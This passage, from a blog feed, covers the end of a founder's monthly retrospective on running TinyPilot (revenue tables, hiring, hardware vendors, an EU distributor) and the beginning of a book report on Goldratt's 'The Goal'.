 &lt;th>Metric&lt;/th>
 &lt;th>May 2021&lt;/th>
 &lt;th>June 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,283&lt;/td>
 &lt;td>6,339&lt;/td>
 &lt;td>&lt;font color="red">-944 (-13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>13,267&lt;/td>
 &lt;td>11,514&lt;/td>
 &lt;td>&lt;font color="red">-1,753 (-13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$38,767.77&lt;/td>
 &lt;td>$29,446.46&lt;/td>
 &lt;td>&lt;font color="red">-$9,321.31 (-24%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$38,767.77&lt;/td>
 &lt;td>$29,446.46&lt;/td>
 &lt;td>&lt;font color="red">-$9,321.31 (-24%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$6,858.72&lt;/strong>&lt;/td>
 &lt;td>&lt;font color="red">&lt;strong>-$-9452.32&lt;/strong>&lt;/font>&lt;/td>
 &lt;td>&lt;strong>N/A&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>All of my numbers are down, which I attribute mostly to neglecting marketing.&lt;/p>
&lt;p>My profits are down but not as drastically as it appears. The Raspberry Pi is TinyPilot&amp;rsquo;s most expensive component, and my Pi costs have drastically increased. There&amp;rsquo;s an ongoing chip shortage, so I&amp;rsquo;ve had to double the amount I keep in inventory to weather the storm. I&amp;rsquo;ve also had to upgrade from the 2 GB model to the doubly expensive 4 GB model, as the 2 GB are out of stock everywhere. There&amp;rsquo;s probably a better way for me to represent the value of my inventory in these numbers, but I haven&amp;rsquo;t gotten there yet.&lt;/p>
&lt;h2 id="finding-ways-to-free-up-time">Finding ways to free up time&lt;/h2>
&lt;p>I recently read the book &lt;a href="https://mtlynch.io/book-reports/the-goal/">&lt;em>The Goal&lt;/em>&lt;/a>, which is all about the &amp;ldquo;bottlenecks&amp;rdquo; of a business. The bottleneck is the limiting factor of a system. As an example, suppose you have a product that needs to go through two machines: machine A and machine B. If machine A can process 100 units per week, and machine B can process 500 units per week, machine A is the bottleneck. Even if you had more of machine B or increased its output, it would have no effect on your business because you can still only produce 100 units per week until you get more of machine A.&lt;/p>
&lt;p>Early in TinyPilot&amp;rsquo;s life, I systematized the fulfillment process so that I wasn&amp;rsquo;t the bottleneck. I hired an inventory manager who ensured that customer orders shipped out on a daily basis without me being involved.&lt;/p>
&lt;p>Today, the bottleneck on fulfillment is just market demand. We usually ship one to five orders per day, but if I increased our sales, we could likely ship out five times as many orders without hitting a bottleneck in the fulfillment process.&lt;/p>
&lt;p>Still, there are several areas of the business where I&amp;rsquo;m the bottleneck: marketing, customer support, management, software development, and hardware development, to name a few.&lt;/p>
&lt;p>As I realized last month, my &lt;a href="https://mtlynch.io/retrospectives/2021/06/#im-just-a-manager">management responsibilities have ballooned up&lt;/a> to occupy almost all of my time. I&amp;rsquo;m staying afloat in other areas, but I don&amp;rsquo;t feel like I&amp;rsquo;m improving them. And I neglect marketing because it&amp;rsquo;s &lt;a href="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/#time-management-matrix">important but not urgent&lt;/a>.&lt;/p>
&lt;p>I&amp;rsquo;m continuing to look for ways to delegate more of my work to the people that work with me. Here&amp;rsquo;s what I did last month:&lt;/p>
&lt;ul>
&lt;li>Avoid doing tasks that someone is already trained to do (e.g., report bugs instead of investigating or fixing them myself)&lt;/li>
&lt;li>Give more responsibilities to local staffers (e.g., contacting vendors to order new parts and arrange pickups)&lt;/li>
&lt;/ul>
&lt;p>And here&amp;rsquo;s what I&amp;rsquo;m planning to do in July:&lt;/p>
&lt;ul>
&lt;li>Show local staff how I research marketing opportunities so that they can do more of the legwork in that process.&lt;/li>
&lt;li>Define playbooks for technical support so that local staffers can take on easy cases and escalate to me when it&amp;rsquo;s beyond their technical knowledge.&lt;/li>
&lt;li>Revise software workflows so that developers review each other&amp;rsquo;s code instead of me reviewing all changes personally.&lt;/li>
&lt;/ul>
&lt;h2 id="getting-unstuck-on-the-tinypilot-website">Getting unstuck on the TinyPilot website&lt;/h2>
&lt;p>There are two freelance developers who work on the TinyPilot product itself. They do fantastic work, and I was fortunate to find them both relatively quickly.&lt;/p>
&lt;p>Finding a developer for the sales website has been a different story. Since October 2020, I&amp;rsquo;ve hired six different developers to work on the site, and none of them have been a good match. Half of them were too limited in availability, so their work was inconsistent, and communication was poor. The other half were a mismatch in skill. I can identify those developers early, but I still get frustrated burning a week and several hundred dollars only to find out that a new developer writes code that I find unreadable.&lt;/p>
&lt;p>The design of the website has always been a placeholder until I can find someone to come in and make it look more professional. Without a stable developer, the website has limped along with the same design it had when I first launched. To me, it looks like a hobby project, and I want to make it look like A Real Product.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/07/tinypilot-home.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/07/tinypilot-home_hu_556f21a4b8341a26.png 300w, https://mtlynch.io/retrospectives/2021/07/tinypilot-home_hu_e733cc712e578c34.png 600w, https://mtlynch.io/retrospectives/2021/07/tinypilot-home_hu_536706395f8629b9.png 800w, https://mtlynch.io/retrospectives/2021/07/tinypilot-home_hu_7621d13716454ffe.png 1200w, https://mtlynch.io/retrospectives/2021/07/tinypilot-home.png 1412w'
 src="https://mtlynch.io/retrospectives/2021/07/tinypilot-home.png" alt="Screenshot of TinyPilot website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The TinyPilot website design was meant to be a placeholder, but it&amp;rsquo;s still the same as it was a year ago.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>My biggest mistake in hiring for the web development role was limiting its scope too much. For the first six months, I advertised it as a freelance job that required three to five hours per week. It&amp;rsquo;s a simple sales site, so I just wanted someone to fix small bugs and add non-urgent features. But I think capping the hours so low made the job unappealing to most freelance developers and instead attracted people whose schedule was mostly booked.&lt;/p>
&lt;p>I&amp;rsquo;ve since updated the job description to say 10-15 hours per week. At this point, there&amp;rsquo;s such a long issue backlog that there&amp;rsquo;s lots of work to do. And once I find someone I like, I&amp;rsquo;ll hire a designer to redesign the website and then have a developer spend a few weeks transitioning over to the new design. I can also have them work on web development tasks for the TinyPilot software itself if they&amp;rsquo;re ever in need of hours.&lt;/p>
&lt;p>My other hiring mistake for this job was that I weighed design skills too heavily. Maintaining the website requires a lot of grungy work, chasing down weird issues that only show up at certain screen sizes or on certain platforms. There are jack-of-all-trades developers who can design something amazing, write maintainable code, and chase down confusing issues, but it&amp;rsquo;s easier to just look for a good developer and find a specialist designer later for a one-time redesign.&lt;/p>
&lt;p>I started a promising trial hire this week, so here&amp;rsquo;s hoping that works out.&lt;/p>
&lt;h2 id="getting-unstuck-on-hardware-development">Getting unstuck on hardware development&lt;/h2>
&lt;p>The other dimension where I&amp;rsquo;ve felt perpetually stuck is in TinyPilot&amp;rsquo;s hardware. For the first few months, I was rapidly iterating on TinyPilot&amp;rsquo;s physical design. I created my first ever custom electrical component &lt;a href="https://mtlynch.io/retrospectives/2020/10/#manufacturing-a-power-connector-from-start-to-finish">in 26 days&lt;/a> and designed a 3D-printed case for it in parallel. Two months later, I &lt;a href="https://tinypilotkvm.com/blogs/news/introducing-voyager">launched Voyager&lt;/a>, which was a huge step forward for the product and the company as a whole.&lt;/p>
&lt;p>There haven&amp;rsquo;t been any significant improvements to TinyPilot&amp;rsquo;s hardware or physical design since then. I feel like I&amp;rsquo;ve been spinning my wheels for seven months.&lt;/p>
&lt;p>The first factor is design work. The early work we did on TinyPilot was simple as far as electrical engineering projects go. As I progressed forward, I invested more into up-front design and customer research to verify that we were building the right thing. So, even though it &lt;em>feels&lt;/em> like we have nothing to show for that time, we wrote design documents that advanced the project.&lt;/p>
&lt;p>Based on our design work, I felt like the best next step for TinyPilot would be to support power over Ethernet (PoE). There are off-the-shelf PoE adaptors for TinyPilot, but they lack the voltage protection features that TinyPilot needs. A year ago, building a custom PoE HAT would require a few days of PCB design work, $4/unit for PoE components, and a final PCB cost of $15-20.&lt;/p>
&lt;p>Then, the &lt;a href="https://en.wikipedia.org/wiki/2020%E2%80%9321_global_chip_shortage">global chip shortage&lt;/a> hit. The widely available $4 PoE components were sold out everywhere. Over a few weeks, I increased the price cap to $40/unit, then $60/unit, and the electrical engineers still couldn&amp;rsquo;t find anything, despite checking vendor supplies daily for months.&lt;/p>
&lt;p>The last factor is that I work with an engineering consultancy that&amp;rsquo;s small in scale. They&amp;rsquo;ve been a great partner, but they&amp;rsquo;re a two-person shop that consults in their spare time. For the last two months, they&amp;rsquo;ve had unexpectedly low availability, so all hardware development ground to a halt.&lt;/p>
&lt;p>To try to get unstuck, I&amp;rsquo;m reaching out to larger electrical engineering firms. I had searched in the past but had trouble finding companies that matched my scale. When I searched &amp;ldquo;electrical engineering consultant,&amp;rdquo; I found companies that do multi-million dollar projects, which is obviously not a match for TinyPilot at this point.&lt;/p>
&lt;p>By chance, I stumbled upon Raspberry Pi&amp;rsquo;s &lt;a href="https://www.raspberrypi.org/for-industry/design-partners/">list of approved design partners&lt;/a>, which turned out to be an excellent resource. The vendors all have experience with Raspberry Pi and cater to clients at my scale.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/07/pi-partners.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/07/pi-partners_hu_187efce7af229ab3.png 300w, https://mtlynch.io/retrospectives/2021/07/pi-partners_hu_2a7ebfe0fb438e85.png 600w, https://mtlynch.io/retrospectives/2021/07/pi-partners_hu_71802eb5e4c8e13e.png 800w, https://mtlynch.io/retrospectives/2021/07/pi-partners_hu_3a85f612a5431ec3.png 1200w, https://mtlynch.io/retrospectives/2021/07/pi-partners.png 1287w'
 src="https://mtlynch.io/retrospectives/2021/07/pi-partners.png" alt="Screenshot of Raspberry Pi vendor partner website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Raspberry Pi maintains &lt;a href="https://www.raspberrypi.org/for-industry/design-partners/">a list of electrical engineering design firms&lt;/a> that specialize in Raspberry Pi projects.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I reached out to the three US-based firms on that list. Of the firms I contacted, Vendor A never responded, Vendor B declined my project after three weeks of back and forth, and Vendor C sent me a proposal.&lt;/p>
&lt;p>I&amp;rsquo;m still debating whether to accept Vendor C&amp;rsquo;s proposal because it seems like they don&amp;rsquo;t really understand my project. When Vendor B declined, it was after they held several internal meetings and concluded that they didn&amp;rsquo;t have the supplier connections or expertise to complete the job according to my spec. Vendor C said that neither of those things would be an issue, but I heard that from a sales rep, not from engineers.&lt;/p>
&lt;p>Vendor C&amp;rsquo;s proposal was extremely vague and buzzwordy to the point where I couldn&amp;rsquo;t understand what they were offering to do. I asked them to revise it, and the new proposal isn&amp;rsquo;t much better. They misspelled &amp;ldquo;TinyPilot,&amp;rdquo; made several obvious grammatical errors, and gave no indication that they&amp;rsquo;ve even read my spec. They want $5k to do a 35-hour preliminary investigation and prepare a presentation outlining my options.&lt;/p>
&lt;p>If my original EE firm had access to components they needed, they could probably design the PCB and manufacture an initial batch with 10-15 hours of work. 35 hours just to come up with a plan seems excessive.&lt;/p>
&lt;p>I asked Vendor C what happens if their confidence is misplaced and they fail to identify suppliers who can offer the necessary components. They cheerily responded that I&amp;rsquo;d still have to pay them $5k.&lt;/p>
&lt;p>Seeing it all written out, I&amp;rsquo;m going to decline Vendor C and start the process over with some of the other vendors. If Vendor C&amp;rsquo;s work is sloppy at the proposal stage, it makes me too nervous to bind myself to them for several months and upwards of $30k.&lt;/p>
&lt;h2 id="starting-eu-distribution">Starting EU distribution&lt;/h2>
&lt;p>I&amp;rsquo;ve had a strange relationship with overseas distributors for TinyPilot. I get an email every month or so from someone asking if I&amp;rsquo;ll partner with them so that they can distribute TinyPilot in their country. I always say, &amp;ldquo;Sure, can you tell me more about how you&amp;rsquo;d like that partnership to work?&amp;rdquo; And then I never hear from them again. I don&amp;rsquo;t know why.&lt;/p>
&lt;p>So when I received an email from a German guy offering to distribute TinyPilot in the EU, I was skeptical. But unlike his predecessors, when I asked about his plans, he had practical ideas and told me about his experience in this space.&lt;/p>
&lt;p>He also came up with a clever scheme for negotiating our profit split. Because the person who names the first number is at a disadvantage, he suggested the following:&lt;/p>
&lt;ol>
&lt;li>He writes a proposal&lt;/li>
&lt;li>He encrypts the proposal in a password-protected zip file&lt;/li>
&lt;li>He sends me the encrypted zip file&lt;/li>
&lt;li>I send him my proposal&lt;/li>
&lt;li>He sends me the password to the zip file so I can see what he proposed before he knew my offer&lt;/li>
&lt;/ol>
&lt;p>We ended up on opposite sides of the negotiating table. His initial proposal gave me a 10% bigger share of the profits than my own initial proposal. So, we met in the middle and both felt like we got a good deal.&lt;/p>
&lt;p>I&amp;rsquo;m excited about this partnership because it makes TinyPilot more appealing to users in the EU. I ship to the EU now, but it&amp;rsquo;s a sub-optimal experience due to the shipping speed, tariffs, and the fact that TinyPilot&amp;rsquo;s power adaptor is for US plugs. Partnering with a distributor addresses those issues and means that marketing effort from either of us benefits us both.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>May 2021&lt;/th>
 &lt;th>June 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>49,085&lt;/td>
 &lt;td>49,839&lt;/td>
 &lt;td>&lt;font color="green">+754 (+2%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>108,862&lt;/td>
 &lt;td>122,700&lt;/td>
 &lt;td>&lt;font color="green">+13,838 (+13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>13.0&lt;/td>
 &lt;td>&lt;font color="green">+2.0 (+18%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$466.84&lt;/td>
 &lt;td>$536.85&lt;/td>
 &lt;td>&lt;font color="green">+$70.01 (+15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$138.99&lt;/td>
 &lt;td>$134.59&lt;/td>
 &lt;td>&lt;font color="red">-$4.40 (-3%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$605.83&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$671.44&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$65.61 (+11%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I&amp;rsquo;m impressed at how much money Is It Keto is generating this late in the year. Last year, it had a big jump in revenue in January and then tumbled 75% by April. Maybe that was more of a COVID effect than I realized. This year, there was still a noticeable drop after the New Year&amp;rsquo;s dieters faded out, but the site continues to generate over 70% of its January peak each month.&lt;/p>
&lt;p>I did a small bit of work on the site this month to update Amazon affiliate links that had gone stale. Amazon products appear and disappear, so I have to regularly check the links to make sure they still point to available products. Outside of that, the site continues humming along in the background, earning passive income.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>May 2021&lt;/th>
 &lt;th>June 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>191&lt;/td>
 &lt;td>248&lt;/td>
 &lt;td>&lt;font color="green">+57 (+30%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Revenue&lt;/td>
 &lt;td>$417.85&lt;/td>
 &lt;td>$123.52&lt;/td>
 &lt;td>&lt;font color="red">-$294.33 (-70%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$417.85&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$123.52&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$294.33 (-70%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Sales are dwindling for Hit the Front Page of Hacker news. There was a noticeable jump in visitors because my last retrospective &lt;em>did&lt;/em> &lt;a href="https://news.ycombinator.com/item?id=27387978">hit the front page of Hacker News&lt;/a>, but it didn&amp;rsquo;t translate to many customers.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>May 2021&lt;/th>
 &lt;th>June 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>659&lt;/td>
 &lt;td>594&lt;/td>
 &lt;td>&lt;font color="red">-65 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,784&lt;/td>
 &lt;td>1,470&lt;/td>
 &lt;td>&lt;font color="red">-314 (-18%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Revenue&lt;/td>
 &lt;td>$32.85&lt;/td>
 &lt;td>$40.20&lt;/td>
 &lt;td>&lt;font color="green">+$7.35 (+22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$32.85&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$40.20&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$7.35 (+22%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful continues on in maintenance mode. No news on that front.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Pre-sold my first TinyPilot Enterprise subscription
&lt;ul>
&lt;li>A customer from a large company requested a REST API for TinyPilot. I asked if they&amp;rsquo;d be willing to pay a monthly fee for a version that included it, and they were happy to do so.&lt;/li>
&lt;li>I&amp;rsquo;m hoping to attract more Enterprise customers with features that cater to large-company scenarios.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Published a new version of TinyPilot&lt;/li>
&lt;li>Trained a new local employee on the TinyPilot fulfillment process&lt;/li>
&lt;li>Created a proof-of-concept of TinyPilot Cloud, a web app that allows you to access your TinyPilot over the Internet
&lt;ul>
&lt;li>It&amp;rsquo;s still TBD how this will play out. I&amp;rsquo;m in talks with a cloud provider who&amp;rsquo;s considering 24/7 operational support, but there are still many unknowns.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>If you&amp;rsquo;re having trouble hiring, revise the role.
&lt;ul>
&lt;li>I couldn&amp;rsquo;t find a developer for the TinyPilot website because I offered too few hours and required too many skills. I&amp;rsquo;ve had better luck since expanding the hours and narrowing the requirements.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When a task can&amp;rsquo;t be outsourced, look for subtasks that can be.
&lt;ul>
&lt;li>I&amp;rsquo;ve been the sole person handling marketing and customer support because they require knowledge and skills that cross domains of the business, but I can outsource some of the legwork.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Get my EU partner ready to begin sales by the end of August.&lt;/li>
&lt;li>Define processes that allow TinyPilot&amp;rsquo;s local staff to share and alternate on all tasks.&lt;/li>
&lt;li>Find a designer for the TinyPilot sales site.&lt;/li>
&lt;li>Find an electrical engineering firm that can create a PoE adaptor for TinyPilot Voyager.&lt;/li>
&lt;/ul></content:encoded></item><item><title>The Goal by Eliyahu M. Goldratt</title><link>https://mtlynch.io/book-reports/the-goal/</link><pubDate>Tue, 22 Jun 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/the-goal/</guid><description>&lt;p>&lt;em>The Goal&lt;/em> is an attempt to reevaluate business management from first principles. The book explains Goldratt&amp;rsquo;s Theory of Constraints, which states that in any business, the sole determinant of output is the bottleneck resource. To grow, a business has to identify its bottlenecks and reorganize business processes to address them. It sounds simple and perhaps obvious, but the lessons helped me to think about my own business.&lt;/p></description><content:encoded>&lt;p>&lt;em>The Goal&lt;/em> is an attempt to reevaluate business management from first principles. The book explains Goldratt&amp;rsquo;s Theory of Constraints, which states that in any business, the sole determinant of output is the bottleneck resource. To grow, a business has to identify its bottlenecks and reorganize business processes to address them. It sounds simple and perhaps obvious, but the lessons helped me to think about my own business.&lt;/p>
&lt;p>The book teaches Goldratt&amp;rsquo;s ideas in novel format. It makes the book a light, engaging read, but it also feels like a lot of fluff to teach a few simple concepts. I admittedly felt silly that the author was doing the equivalent of hiding medicine in my doggie treats because I can&amp;rsquo;t pay attention to a real non-fiction book. That said, the last chapter is pure lessons and no story, and I found it difficult to pay attention, so maybe I needed the fluffy story.&lt;/p>
&lt;p>The protagonist of the story is a struggling factory manager who&amp;rsquo;s mostly helpless without the guidance of a mysterious and near-omniscient Israeli physicist-turned-business-consultant. By sheer coincidence, the book&amp;rsquo;s author is an Israeli physicist-turned-business-consultant.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>I found Goldratt&amp;rsquo;s &lt;a href="#science-is-not-truth">distinction between science and truth&lt;/a> to be profound and original.&lt;/li>
&lt;li>It&amp;rsquo;s a light read, as the novel format makes it easy to stay engaged.&lt;/li>
&lt;li>The Theory of Constraints helped me think about priorities in my business.&lt;/li>
&lt;li>Goldratt&amp;rsquo;s metrics for judging a business&amp;rsquo;s effectiveness feel practical and well-reasoned.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>The novel format is a double-edged sword. Although it does make the book an easier read, some of the book is just for story, which dilutes the time you&amp;rsquo;re actually learning.&lt;/li>
&lt;li>The protagonist&amp;rsquo;s marriage is a huge bummer.
&lt;ul>
&lt;li>He always prioritizes his job above his children and his marriage. The book makes his negligence out to be negative, but not very.&lt;/li>
&lt;li>He does so little parenting or housework that his wife eventually leaves him.&lt;/li>
&lt;li>I was expecting the protagonist to realize that he and his wife should discuss how to share responsibilities rather than him constantly breaking commitments to his family for his job. Instead, after his wife leaves, his mother moves in and just takes over all the childcare and household chores.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The protagonist meets an overweight child who struggles on a hike. Throughout the book, the protagonist casually refers to the child as &amp;ldquo;the fat kid&amp;rdquo; and uses him as the canonical example for a part of the system that holds everyone else back.&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="science-is-not-truth">Science is not truth&lt;/h3>
&lt;ul>
&lt;li>Science is the process by which we create a minimum set of assumptions necessary to explain a phenomenon.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>The Law of Conservation of Energy of physics is not truth. It is just an assumption that is valid in explaining a tremendous amount of natural phenomena. Such an assumption can never be proven since even an infinite number of phenomena that can be explained by it does not prove its universal application. On the other hand, it can be disproved by just a single phenomenon that cannot be explained by the assumption. This disproving does not detract from the validity of the assumption. It just highlights the need or even the existence of another assumption that is &lt;em>more&lt;/em> valid. This is the case with the assumption of the conservation of energy which was replaced by Einstein&amp;rsquo;s more global — more valid — postulation of the conservation of energy and mass. Einstein&amp;rsquo;s assumption is not true to the same extent that the previous one was not &amp;ldquo;true.&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>We&amp;rsquo;ve done too much gatekeeping around the &amp;ldquo;science&amp;rdquo; label.
&lt;ul>
&lt;li>We think of science as a way to explain physics, math, and biology, but we should accept the study of businesses and organizations as real science as well.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="basic-characters-and-plot">Basic characters and plot&lt;/h3>
&lt;div class="notice notice-info">
 &lt;em>The Goal&lt;/em> explains non-fiction ideas through a fictional story, so it&amp;rsquo;s hard to explain without giving some basics on the story itself.
&lt;/div>

&lt;p>Characters:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Alex&lt;/strong> is the manager of a ~100-person factory that manufactures some never-quite-defined product.&lt;/li>
&lt;li>&lt;strong>Jonah&lt;/strong> is an Israeli physicist-turned-business consultant. Alex studied under him in college and then runs into him many years later at the start of this story.&lt;/li>
&lt;/ul>
&lt;p>Basic premise:&lt;/p>
&lt;ul>
&lt;li>Alex&amp;rsquo;s branch is underperforming, and company executives are considering shutting down his factory.&lt;/li>
&lt;li>Jonah claims that the entire reason his plant is struggling is that everyone at his company blindly accepts conventional wisdom about business practices rather than thinking critically.&lt;/li>
&lt;li>Jonah begins advising Alex on how to start from first principles and use scientific methodologies for saving his factory.&lt;/li>
&lt;/ul>
&lt;h3 id="local-efficiencies-are-irrelevant">Local efficiencies are irrelevant&lt;/h3>
&lt;ul>
&lt;li>When Alex first runs into Jonah, Alex brags to him that new robots in his factory improved efficiency by 30% and reduced costs.
&lt;ul>
&lt;li>Jonah asks if they shipped more products -&amp;gt; No.&lt;/li>
&lt;li>Jonah asks if they fired anyone (reduced labor costs) -&amp;gt; No.&lt;/li>
&lt;li>Jonah asks if they reduced inventory (reduced warehousing costs) -&amp;gt; No.&lt;/li>
&lt;li>Jonah claims that the robots have therefore not improved efficiency, as they failed to increase sales, reduce costs, or increase throughput.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When Alex tries to explain his metrics, Jonah claims that all of Alex&amp;rsquo;s metrics are meaningless.
&lt;ul>
&lt;li>Because everyone in the company uncritically accepts these metrics, nobody notices that the metrics fail to achieve the company&amp;rsquo;s true goal.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Alex reviews his sales figures and inventory records and concludes that Jonah is right.
&lt;ul>
&lt;li>Robots had no impact on sales, and they increased inventory (decreased throughput).&lt;/li>
&lt;li>Because the robots were so expensive, the company pressured the factory to run them at 100% utilization, even when there was no demand for the parts they produced.
&lt;ul>
&lt;li>The result was a huge increase in half-finished inventory.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="the-goal">The goal&lt;/h3>
&lt;ul>
&lt;li>The goal of any company is to make money.&lt;/li>
&lt;li>Productive activities are those which move the company closer to its goal.
&lt;ul>
&lt;li>Any activity within a company must be measured in terms of whether it helps the company earn money.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="metrics">Metrics&lt;/h3>
&lt;p>Three main metrics indicate whether a company is successful at making money.&lt;/p>
&lt;ol>
&lt;li>Net profit: How much the company earns in absolute dollar terms.&lt;/li>
&lt;li>Return on investment: Net profit must be judged in the context of initial investment.
&lt;ul>
&lt;li>A $10M profit is great for a $1M investment but a poor return for a $50B investment.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cash flow: Even with healthy profits and return on investment, a business can go bankrupt if its cash flow is poor.&lt;/li>
&lt;/ol>
&lt;p>Jonah suggests the following metrics, which express equivalent ideas but rely on numbers that are more practical to measure:&lt;/p>
&lt;ol>
&lt;li>Throughput: the rate at which the system generates money through sales.&lt;/li>
&lt;li>Inventory: all the money the system has invested in purchasing things that it intends to sell.&lt;/li>
&lt;li>Operational expense: all the money the system spends in order to turn inventory into throughput.&lt;/li>
&lt;/ol>
&lt;div class="notice notice-info">
 This part confused me, as the two sets of metrics seem like they measure different things.
&lt;/div>

&lt;h3 id="the-myth-of-the-balanced-plant">The myth of the balanced plant&lt;/h3>
&lt;ul>
